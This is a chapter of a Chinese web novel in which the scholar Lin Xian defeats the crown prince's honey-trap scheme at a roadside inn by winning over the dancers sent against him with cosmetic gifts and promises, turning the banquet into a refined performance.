硬碰硬连连失利,最终还是身边好色的奸臣便给出了个招,太子决意施以“温柔一刀”——美人计。旨在拖慢行程,败坏林闲“潜心向学”的名声。若能诱使其行为不端,更是可借题发挥。
太子暗中吩咐,动用了暗中培养的色艺双绝歌舞伎。命她们伪装成一支流落江湖的艺伎班子,在官道旁一处繁华的集镇——“杨柳驿” 设下宴席。
太子同时安排东宫下属刻意放出风声,称有“江南名伎”在此献艺。以“以艺会友,慰藉赶考辛劳”为名,广邀途经的举子前来观赏。
此计颇为阴毒。
若林闲等人应邀前往沉溺酒色,必然耽误行程。且“举子狎妓,荒废学业”的流言一旦传出,对其声名是沉重打击。
若林闲严词拒绝,麾下那些年轻气盛的举子难免心生怨言,认为他不近人情亦可离间其队伍。
消息很快传到了林闲的车队。
不少年轻举子听闻有名伎献艺,且是“以艺会友”的风雅之名,不免心思浮动跃跃欲试。
毕竟长途跋涉枯燥乏味,有此等雅事谁能不动心?
“听闻杨柳驿来了京城大家,舞姿超绝!”
“以艺会友,倒是风雅,去见识见识也无妨吧?”
“只是……闲先生素来严谨,怕是不会同意……”
众人议论纷纷,目光都悄悄瞟向林闲的马车。
影刹早已将太子的谋划和这批歌舞伎的底细查清,禀报了林闲。
林闲闻讯嘴角泛起一丝早已料到的淡然笑意,眼中闪过一丝冷嘲。
“太子殿下……还真是黔驴技穷了。”
他低声自语,随即对忧心忡忡的几位核心举子笑道:“既然人家搭好了戏台,我们若不去岂不是辜负了美人的一番美意?”
是夜,杨柳驿酒楼“望江楼”果然张灯结彩。
丝竹管弦之声悠扬,宾客盈门。
太子派来的歌舞伎确实技艺不凡,舞姿曼妙歌喉婉转,眉目传情间媚而不俗,引得不少过往客商和少数定力不足的举子喝彩连连气氛热烈。
林闲并未禁止己方举子前往,反而带着几位核心同伴,从容不迫来到了望江楼。
他没在大堂就坐,直接包下二楼视野极佳的雅间。
此举既显示了身份,又避开了楼下可能存在的混浊局面。
他落座后,只是静静品茶。
待一曲终了林闲唤来酒楼掌柜,神色平静吩咐道:“听闻班主与几位大家技艺超群,林某心生仰慕。请劳烦通传,请班主与几位领舞大家移步雅间一叙,林某备有薄礼相赠。”
掌柜见林闲气度不凡,不敢怠慢连忙去请。
片刻,那精明的中年女班主,带着几位姿容最出色的领舞歌伎,怀春走入雅间。
她们早已得知目标就是这位名动江南的林解元,本以为会面对非议,却见林闲神色温和毫无戾气。
他起身相迎,命人看座奉茶。
林闲目光扫过几位女子,眼中是纯粹的欣赏而非狎昵。随即他示意下人,捧上几个雕花礼盒。
“诸位大家远来辛苦,献艺于此以乐会友,慰藉旅途劳顿,林某感佩。”
林闲笑着亲自打开礼盒。
顿时,一股淡雅馥郁的异香弥漫开来!
只见盒内以锦缎为衬,整齐陈列着晶莹剔透的琉璃瓶装香水、鎏金雕花的香皂、玉质瓶身的护肤精油、以及整套的“元启”高端洗护用品,在灯光下流光溢彩,美轮美奂!
“些许薄礼,乃林某牵头研发的元启化妆品所出,有养颜护肤增香添韵之效,聊表敬意望诸位大家笑纳。”
林闲语气诚恳。
这些歌舞伎虽是太子培养,但终究是女子,何曾见过如此精致的顶级护肤品?女人们顿时眼睛发亮,呼吸都急促了几分。那女班主还算镇定,但几位年轻领舞已掩不住惊喜之色!
“这……林先生,这太贵重了……”
女班主推辞,但目光却难以从礼品上移开。
“大家何必客气。”
林闲淡然一笑,语气温和却带着洞察:“林某虽是一介书生,亦知诸位飘零江湖献艺为生之不易。看似风光,实则冷暖自知。”
他话锋一转,看似随意却字字珠玑:“人生在世,不过求一安稳自在。依附他人虽得一时温饱,然身似浮萍命如琴弦,终非长久之计。”
他目光扫过众女,再次意有所指:“若有朝一日,诸位能凭自身技艺得一安稳舞台,光鲜亮丽主宰自己的人生,岂不更好?”
这番话,可谓说到了这些女子的心坎里!
比起太子纯粹的命令和利用,林闲的“厚礼+理解+未来许诺”组合拳威力巨大!
林闲虽未明说,但招揽之意已昭然若揭!
女班主神色变幻,最终娇叹一声起身郑重一礼:“林解元厚赠,妾身等……铭记于心。公子放心,今晚之宴,唯有风雅,绝无苟且。”
这是隐晦的承诺。
随后这些歌舞伎重返舞台,但表演的风格与心境已为之一变。
媚俗的挑逗与刻意的眼波大大减少,取而代之的是一种专注于技艺本身的优雅。
丝竹之声再起,旋律变得清越悠扬。
数位领舞翩然登场,身着素雅长裙,水袖轻舒。
但见她们随着乐曲节奏身形流转,动作整齐划一,展现出平日严格排练才能达到的默契。
尤其令人惊叹的是那柔韧的腰肢,在舞蹈中展现出惊人的控制力。
时而如弱柳扶风轻盈后仰,划出优美的弧线。
时而如灵蛇出洞,快速下腰旋转,裙摆如花绽放。
这并非是为了卖弄风情,而是纯粹为了展现舞蹈技巧的高难度与形式美。她们的组合阵型变化也极为精妙,时而如孔雀开屏错落有致,时而如群雁南飞,首尾相连,充满了女性的美。
紧接着一位歌伎上前,檀口轻启,唱了一首古意盎然的《子夜吴歌》。
她的嗓音清亮圆润咬字清晰,将诗中女子对远方情人的思念与坚贞,演绎得缠绵悱恻又不失端庄,再无半分之前的轻佻之意。
最后在女班主的示意下,众女更是即兴表演了一曲格调高雅的《霓裳羽衣舞》的片段。
虽然服饰简易,但那份盛朝气象的雍容华贵、飘逸若仙的舞姿神韵被她们模仿得惟妙惟肖,引得满堂宾客都忍不住击节赞叹,爆发出由衷的喝彩!
整个宴会的气氛,竟真被扭转成了名副其实的“以艺会友”的风雅之事!再无人想起那些狎昵的心思,取而代之的是对精湛技艺的欣赏和对高雅艺术的尊重。
林闲在雅间内与几位同窗品茶论诗,偶尔点评一下楼下的众女表演,气氛融洽高雅。
他甚至还让侍女送去几首适合谱曲演唱的原创新词,更让那些歌伎惊喜不已,对林闲的才华佩服得五体投地!
宴会散场,江南举子们尽兴而归,众人纷纷赞叹:
“闲先生高明!如此一来既全了风雅之名,又让太子诡计落空!”
“是啊!还顺便送了人情,说不定还能挖了太子的墙角!一箭三雕啊!”
“跟着闲兄,真是长见识!什么阴谋阳谋,在闲兄面前都成了笑话!”
而太子派来的耳目,只能眼睁睁看着一场预想中的“丑闻”变成了一场“佳话”,气得捶胸顿足却无可奈何!
回程马车上,影刹低声道:“先生,那些女子似乎已有动摇。是否……”
林闲摆摆手,嘴角噙着一丝高深莫测的笑意:“不急!香饵已下,鱼儿自会徘徊。”
他望向窗外朦胧的月色,心中冷笑:太子,你以为美色是利器。却不知对于渴望尊严和安稳的人来说,一份体面的生活和未来的希望,才是真正的无法抗拒的诱惑。你的计策,不过是为本闲又送来了一批潜在的人才罢了……